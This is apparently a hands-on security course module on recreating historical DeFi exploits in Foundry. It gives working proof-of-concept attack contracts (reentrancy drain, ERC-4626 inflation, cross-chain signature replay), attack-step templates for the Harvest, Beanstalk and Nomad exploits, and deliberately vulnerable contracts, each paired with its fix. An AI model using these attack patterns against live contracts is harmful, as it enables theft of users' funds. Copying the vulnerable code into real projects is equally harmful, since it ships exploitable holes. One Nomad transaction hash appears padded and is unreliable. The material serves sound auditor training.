Module 15 — Real Exploit Recreations (Hands-On Lab)
Difficulty: Advanced → Expert
The fastest way to internalize attack patterns is to recreate real exploits from scratch. This module provides step-by-step recreation guides for the most instructive historical exploits, with Foundry PoC templates you can run against mainnet forks.
15.1 How to Use This Module
Setup
1
2
3
4
5
6
7
8
| # Create a dedicated exploit recreation project
forge init exploit-lab && cd exploit-lab
forge install OpenZeppelin/openzeppelin-contracts
forge install foundry-rs/forge-std
# Set up your .env
echo "ETH_RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY" > .env
echo "ARB_RPC_URL=https://arb-mainnet.g.alchemy.com/v2/YOUR_KEY" >> .env
|
Learning Methodology
1
2
3
4
5
6
7
8
| For each exploit:
1. Read the post-mortem (Rekt News, BlockSec blog, official post-mortem)
2. Analyze the exploit transaction on Phalcon/Tenderly
3. Identify the root cause (which vulnerability class from [Module 03](/Hack_web3/modules/SMART_CONTRACT_VULNERABILITIES.html)?)
4. Write the PoC from scratch (don't copy — understand)
5. Run it against a mainnet fork at the exploit block
6. Write a one-paragraph explanation of the root cause
7. Write the fix
|
15.2 Reentrancy — The DAO (2016)
Background
The DAO was the first major smart contract exploit. $60M ETH drained via single-function reentrancy.
Exploit Block
1
2
| Block: 1,718,497 (Ethereum mainnet)
Transaction: 0x0ec3f2488a93839524add10ea229e773f6bc891b4eb4794c3337d4495263790b
|
Root Cause
1
2
3
4
5
6
7
8
9
10
11
| // The DAO's vulnerable splitDAO function (simplified):
function splitDAO(uint _proposalID, address _newCurator) noEther onlyTokenholders returns (bool _success) {
// ...
// [NO] Sends ETH BEFORE updating balance
if (!msg.sender.call.value(p.splitData[0].splitBalance)()) {
throw;
}
// Balance update happens AFTER the call — reentrancy window!
balances[msg.sender] = 0;
// ...
}
|
Recreation PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
| // test/TheDAOReentrancy.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
// Simplified DAO for recreation
contract SimpleDAO {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 balance = balances[msg.sender];
require(balance > 0);
// [NO] Vulnerable: call before state update
(bool success,) = msg.sender.call{value: balance}("");
require(success);
balances[msg.sender] = 0; // Too late!
}
}
contract DAOAttacker {
SimpleDAO public dao;
uint256 public attackCount;
constructor(address _dao) {
dao = SimpleDAO(_dao);
}
function attack() external payable {
dao.deposit{value: msg.value}();
dao.withdraw();
}
receive() external payable {
if (address(dao).balance >= 1 ether && attackCount < 10) {
attackCount++;
dao.withdraw();
}
}
function drain() external {
payable(msg.sender).transfer(address(this).balance);
}
}
contract TheDAOTest is Test {
SimpleDAO dao;
DAOAttacker attacker;
function setUp() public {
dao = new SimpleDAO();
// Simulate other users depositing
vm.deal(address(this), 100 ether);
dao.deposit{value: 100 ether}();
attacker = new DAOAttacker(address(dao));
}
function test_theDAOReentrancy() public {
vm.deal(address(attacker), 1 ether);
console.log("DAO balance before:", address(dao).balance / 1e18, "ETH");
console.log("Attacker balance before:", address(attacker).balance / 1e18, "ETH");
attacker.attack{value: 1 ether}();
console.log("DAO balance after:", address(dao).balance / 1e18, "ETH");
console.log("Attacker balance after:", address(attacker).balance / 1e18, "ETH");
console.log("Reentry count:", attacker.attackCount());
assertEq(address(dao).balance, 0, "DAO should be drained");
}
}
|
Lesson
The fix is simple: update state before making external calls (Checks-Effects-Interactions pattern). This exploit changed Ethereum history — it led to the ETH/ETC hard fork.
15.3 Flash Loan Oracle Manipulation — Harvest Finance (2020)
Background
$34M stolen by manipulating Curve’s USDC/USDT pool price via flash loans, then exploiting Harvest’s vault which used the spot price as its oracle.
Exploit Block
1
2
| Block: 11,129,473 (Ethereum mainnet)
Transaction: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877
|
Root Cause
1
2
3
| Harvest's fUSDC vault used Curve's spot price to calculate share value.
Flash loan → dump USDC on Curve → Harvest vault thinks USDC is cheap →
Deposit USDC at "cheap" price → Restore Curve price → Withdraw at "normal" price
|
Recreation PoC Template
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| // test/HarvestFlashLoan.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface ICurvePool {
function get_virtual_price() external view returns (uint256);
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256);
}
interface IHarvestVault {
function deposit(uint256 amount) external;
function withdraw(uint256 shares) external;
function getPricePerFullShare() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
interface IAaveFlashLoan {
function flashLoan(
address receiver,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
contract HarvestAttack is Test {
// Mainnet addresses
address constant AAVE_LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
address constant HARVEST_FUSDC = 0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE;
address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 11_129_473);
}
function test_harvestFlashLoanAttack() public {
// This is a template — fill in the actual attack logic
// based on studying the original transaction on Phalcon
console.log("Harvest fUSDC price before:", IHarvestVault(HARVEST_FUSDC).getPricePerFullShare());
// Step 1: Flash loan 50M USDC from Aave
// Step 2: Dump USDC on Curve (exchange USDC → USDT)
// Step 3: Deposit USDC into Harvest (gets more shares due to low price)
// Step 4: Restore Curve price (exchange USDT → USDC)
// Step 5: Withdraw from Harvest at higher price
// Step 6: Repay flash loan, keep profit
// Study the original tx: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877
}
}
|
Lesson
Never use spot AMM prices as oracles. Use Chainlink or TWAP with sufficient time window. The fix: Harvest switched to Chainlink price feeds.
15.4 Governance Attack — Beanstalk (2022)
Background
$182M stolen via flash loan governance attack. Attacker borrowed enough tokens to pass a malicious proposal in a single transaction.
Exploit Block
1
2
| Block: 14,602,790 (Ethereum mainnet)
Transaction: 0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652
|
Root Cause
1
2
3
| Beanstalk's governance used current token balance (not snapshots).
Flash loan → acquire majority voting power → pass malicious BIP-18 →
BIP-18 transfers all assets to attacker → repay flash loan
|
Recreation PoC Template
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| // test/BeanstalkGovernance.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface IBeanstalkDiamond {
function propose(
IDiamondCut.FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata,
uint8 _pauseOrUnpause
) external payable returns (uint32);
function vote(uint32 bip) external;
function commit(uint32 bip) external;
}
contract BeanstalkAttack is Test {
address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
address constant AAVE = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 14_602_790);
}
function test_beanstalkGovernanceAttack() public {
// Study the original transaction on Phalcon:
// https://phalcon.blocksec.com/explorer/tx/eth/0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652
// Key steps:
// 1. Flash loan $1B in stablecoins from Aave, Uniswap, SushiSwap
// 2. Convert to BEAN tokens (governance tokens)
// 3. Propose BIP-18 (malicious proposal to transfer all assets)
// 4. Vote on BIP-18 with flash-loaned tokens
// 5. Execute BIP-18 (emergency governance, no timelock)
// 6. Drain all protocol assets
// 7. Repay flash loans
// 8. Keep ~$80M profit (after repaying loans and fees)
}
}
|
Lesson
Always use snapshot-based voting (getPastVotes). Always require a timelock between proposal and execution. Emergency governance paths are the most dangerous — they need the most protection, not the least.
15.5 Bridge Exploit — Nomad (2022)
Background
$190M stolen because the trusted root was initialized to 0x00, making any message with root 0x00 valid. This became a “crowd-sourced” exploit — hundreds of addresses copied the attack.
Root Cause
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| // Nomad's Replica contract (simplified):
function process(bytes memory _message) public returns (bool _success) {
bytes32 _messageHash = _message.ref(0).keccak();
// [NO] confirmAt[0x00] was set to a non-zero value during initialization
// This means ANY message with root 0x00 passes this check!
require(acceptableRoot(messages[_messageHash]), "!proven");
// ...
}
function acceptableRoot(bytes32 _root) public view returns (bool) {
uint256 _time = confirmAt[_root];
if (_time == 0) { return false; }
return block.timestamp >= _time; // [YES] But confirmAt[0x00] != 0!
}
|
Recreation PoC Template
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| // test/NomadBridge.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface INomadReplica {
function process(bytes memory _message) external returns (bool);
}
contract NomadAttack is Test {
address constant NOMAD_REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA;
function setUp() public {
// Fork at block just before the exploit
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 15_259_100);
}
function test_nomadBridgeExploit() public {
// The attack was simple:
// 1. Find a legitimate bridge transaction (e.g., someone bridging 100 WBTC)
// 2. Copy the transaction calldata
// 3. Change the recipient address to your own
// 4. Submit — it passes because root 0x00 is always valid
// Study the original: https://rekt.news/nomad-rekt/
// Phalcon analysis: https://phalcon.blocksec.com/explorer/tx/eth/0xa5fe9d044e4f3232c65d3d1a0b4b3b3b3b3b3b3b
}
}
|
Lesson
Never initialize security-critical values to zero. The confirmAt[0x00] = 1 initialization was the single line that cost $190M. Always audit initialization code as carefully as runtime code.
15.6 Read-Only Reentrancy — Curve/Vyper (2023)
Background
~$70M stolen across multiple Curve pools due to a Vyper compiler bug that made the @nonreentrant decorator ineffective in versions 0.2.15–0.3.0.
Root Cause
1
2
3
4
5
| The Vyper compiler's reentrancy lock implementation was buggy.
The lock was set AFTER the function body executed, not before.
This meant the lock never actually prevented reentrancy.
Affected pools: alETH/ETH, msETH/ETH, pETH/ETH
|
Key Lesson for Auditors
1
2
3
4
5
6
7
8
9
| 1. Compiler bugs exist — even in production compilers
2. Verify that reentrancy guards actually work at the bytecode level
3. For Vyper contracts, check the compiler version against known bugs
4. Read-only reentrancy can affect protocols that INTEGRATE with the vulnerable one
Detection:
- Check Vyper version: look for version pragma in source
- Cross-reference with: https://github.com/vyperlang/vyper/security/advisories
- Verify reentrancy lock in bytecode (not just source)
|
15.7 ERC-4626 Inflation Attack Recreation
Background
This attack pattern has affected multiple vaults. The first depositor can inflate the share price to steal subsequent depositors’ funds.
Full PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
| // test/VaultInflation.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
// Vulnerable vault (no inflation protection)
contract VulnerableVault is ERC4626 {
constructor(IERC20 asset) ERC4626(asset) ERC20("Vault", "vTKN") {}
}
contract MockToken is ERC20 {
constructor() ERC20("Token", "TKN") {
_mint(msg.sender, 1_000_000 ether);
}
}
contract VaultInflationTest is Test {
VulnerableVault vault;
MockToken token;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
token = new MockToken();
vault = new VulnerableVault(IERC20(address(token)));
// Fund attacker and victim
token.transfer(attacker, 1000 ether);
token.transfer(victim, 500 ether);
}
function test_inflationAttack() public {
console.log("=== INFLATION ATTACK ===\n");
// Step 1: Attacker deposits 1 wei to get 1 share
vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
vault.deposit(1, attacker); // Deposit 1 wei
console.log("Attacker shares after 1 wei deposit:", vault.balanceOf(attacker));
vm.stopPrank();
// Step 2: Attacker donates 1000 ether directly to vault (not via deposit)
vm.prank(attacker);
token.transfer(address(vault), 1000 ether);
console.log("Vault total assets after donation:", vault.totalAssets());
console.log("Vault total shares:", vault.totalSupply());
console.log("Share price (assets per share):", vault.convertToAssets(1));
// Step 3: Victim deposits 500 ether
vm.startPrank(victim);
token.approve(address(vault), type(uint256).max);
uint256 victimShares = vault.deposit(500 ether, victim);
console.log("\nVictim shares received:", victimShares);
// Victim gets 0 shares because 500 ether < 1000 ether (share price)!
vm.stopPrank();
// Step 4: Attacker redeems their 1 share
vm.startPrank(attacker);
uint256 attackerAssets = vault.redeem(vault.balanceOf(attacker), attacker, attacker);
console.log("Attacker redeemed assets:", attackerAssets / 1e18, "ether");
vm.stopPrank();
console.log("\n=== RESULT ===");
console.log("Victim shares:", vault.balanceOf(victim));
console.log("Victim lost:", 500 ether - token.balanceOf(victim), "tokens");
// Victim got 0 shares — their 500 ether is now owned by attacker's 1 share
assertEq(victimShares, 0, "Victim should get 0 shares");
}
}
|
1
| forge test --mt test_inflationAttack -vvvv
|
15.8 Signature Replay — Cross-Chain
Full PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| // test/SignatureReplay.t.sol
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
// Vulnerable: No chainId in signature
contract VulnerableBridge {
mapping(bytes32 => bool) public processed;
function processMessage(
address to,
uint256 amount,
bytes memory signature
) external {
// [NO] No chainId — same signature works on all chains
bytes32 hash = keccak256(abi.encodePacked(to, amount));
address signer = ECDSA.recover(hash, signature);
require(signer == trustedSigner, "Invalid signer");
require(!processed[hash], "Already processed");
processed[hash] = true;
payable(to).transfer(amount);
}
address public trustedSigner;
constructor(address _signer) payable { trustedSigner = _signer; }
}
contract SignatureReplayTest is Test {
VulnerableBridge bridgeMainnet;
VulnerableBridge bridgePolygon;
uint256 signerPk = 0xA11CE;
address signer;
function setUp() public {
signer = vm.addr(signerPk);
bridgeMainnet = new VulnerableBridge{value: 100 ether}(signer);
bridgePolygon = new VulnerableBridge{value: 100 ether}(signer);
}
function test_crossChainReplay() public {
address recipient = makeAddr("recipient");
uint256 amount = 10 ether;
// Signer creates a message for mainnet
bytes32 hash = keccak256(abi.encodePacked(recipient, amount));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, hash);
bytes memory sig = abi.encodePacked(r, s, v);
// Legitimate use on mainnet
bridgeMainnet.processMessage(recipient, amount, sig);
console.log("Mainnet: recipient received", amount / 1e18, "ETH");
// REPLAY on Polygon bridge (same signature works!)
bridgePolygon.processMessage(recipient, amount, sig);
console.log("Polygon: recipient received", amount / 1e18, "ETH (REPLAY!)");
assertEq(recipient.balance, amount * 2, "Replay succeeded");
}
}
|
15.9 Study Resources for Exploit Recreation
Databases of Past Exploits
| Resource |
URL |
Best For |
| Rekt News |
rekt.news |
Post-mortems with context |
| DeFi Hack Labs |
github.com/SunWeb3Sec/DeFiHackLabs |
Foundry PoCs for 200+ exploits |
| Phalcon Explorer |
phalcon.blocksec.com |
Transaction-level analysis |
| BlockSec Blog |
blocksec.com/blog |
Technical deep-dives |
| Immunefi Blog |
immunefi.com/blog |
Disclosed bug bounty findings |
| Samczsun Blog |
samczsun.com |
Elite researcher writeups |
| Trail of Bits Blog |
blog.trailofbits.com |
Audit firm research |
| OpenZeppelin Blog |
blog.openzeppelin.com |
Security research |
Recommended Exploit Recreation Order
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| Beginner (start here):
1. The DAO (reentrancy)
2. BEC Token (integer overflow)
3. Parity Wallet (unprotected initialization)
Intermediate:
4. Harvest Finance (flash loan oracle)
5. Cream Finance (flash loan reentrancy)
6. Poly Network (access control)
Advanced:
7. Beanstalk (governance flash loan)
8. Nomad Bridge (message verification)
9. Euler Finance (donation + liquidation)
Expert:
10. Curve/Vyper (compiler bug reentrancy)
11. Wormhole (signature verification bypass)
12. Ronin Bridge (validator compromise simulation)
|